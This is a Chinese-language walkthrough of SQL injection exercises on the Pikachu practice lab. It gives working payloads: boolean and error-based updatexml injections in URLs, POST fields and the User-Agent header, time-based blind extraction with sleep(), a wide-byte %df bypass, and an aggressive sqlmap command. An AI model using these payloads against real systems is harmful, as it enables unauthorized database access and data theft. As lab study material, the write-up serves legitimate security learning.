pikachu pikachu => 备份地址
SQL-Inject 概述 SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台进行处理时,未对数据做严格的判断,导致传入的恶意内容拼接
到SQL语句中,被当做SQL语句的一部分执行,从而导致数据库受损。
数字型注入(post)
字符型注入(get)
手动注入
使用burpsuite
抓到包后,在请求参数后添加boolean
为真的语句。观察是否检索结果有不同。
值得注意的是,由于GET
参数拼接在URL中,因此最好将注入的内容进行URL
编码。
1 2 3 /pikachu/vul/sqli/sqli_str.php?name=vience'or+true%23&submit=%E6%9F%A5%E8%AF%A2
sqlmap
使用burpsuite
抓包后将请求信息保存至文件,由sqlmap
进行对name
进行注入。
1 sqlmap -r charsequence.txt --level=5 --risk=3 -p name --dbs --batch
搜索型注入
xx型注入
insert/update
注入可以应用报错注入。获得关心的信息。
此次利用了updatexml(xml_document, XPath, new_Value)
函数中,XPath
中不可包含~
字符,因此使用0x7e
时,一定会报错。
当程序开启了报错打印后,报错信息就会显示在页面上。
1 2 3 4 username=name' or updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir), 0)or' &password=123&sex=&phonenum=&email=&add=&submit=submit
得到结果XPATH syntax error: '~pikachu~pikachu@localhost~C:\xa'
。
delete
注入与insert/update注入 相同,使用报错注入。
构造对应URL。
1 2 3 4 5 /pikachu/vul/sqli/sqli_del.php?id =updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,%40%40datadir),0)%23
得到结果XPATH syntax error: '~pikachu~pikachu@localhost~C:\xa'
。
尝试对HTTP
头进行修改后发包,发现会有SQL
报错,因此对HTTP
头的属性进行注入。
此次对User-Agent
进行注入。
1 User-Agent: 'or updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),0)or'
得到结果XPATH syntax error: '~pikachu~pikachu@localhost~C:\xa'
。
盲注(base on boolean)
盲注(base on time)
手动注入
针对name
注入,基于时间盲注,查看页面响应时间。
1 2 # 检索时等待5s /pikachu/vul/sqli/sqli_blind_t.php?name=kobe'+and+sleep(5)%23&submit=%E6%9F%A5%E8%AF%A2
基于时间的盲注一般与if
分支结合。
if(condition, case1, case2)
意为:
1 2 3 4 5 if condition case1 else case2 endif
当数据库的名称首字母为a
时,页面等待5s
,否则正常。
数据库的名字为pikachu
,与a
不相等,因此正常响应。
1 2 # if(substr(database(),1,1)='a',sleep(5),null) /pikachu/vul/sqli/sqli_blind_t.php?name=kobe'+and+if(substr(database(),1,1)%3d'a',sleep(5),null)%23&submit=%E6%9F%A5%E8%AF%A2
当数据库的名称首字母为p
时,页面等待5s
,否则正常。
此次响应等待了5s
,因此可以判断数据库的名字的首字母为p
。
1 2 # if(substr(database(),1,1)='p',sleep(5),null) /pikachu/vul/sqli/sqli_blind_t.php?name=kobe'+and+if(substr(database(),1,1)%3d'p',sleep(5),null)%23&submit=%E6%9F%A5%E8%AF%A2
宽字节注入
手动注入
针对name
注入。
1 2 # 单引号前增加`%df` name=hello%df%27or+true%23&submit=%E6%9F%A5%E8%AF%A2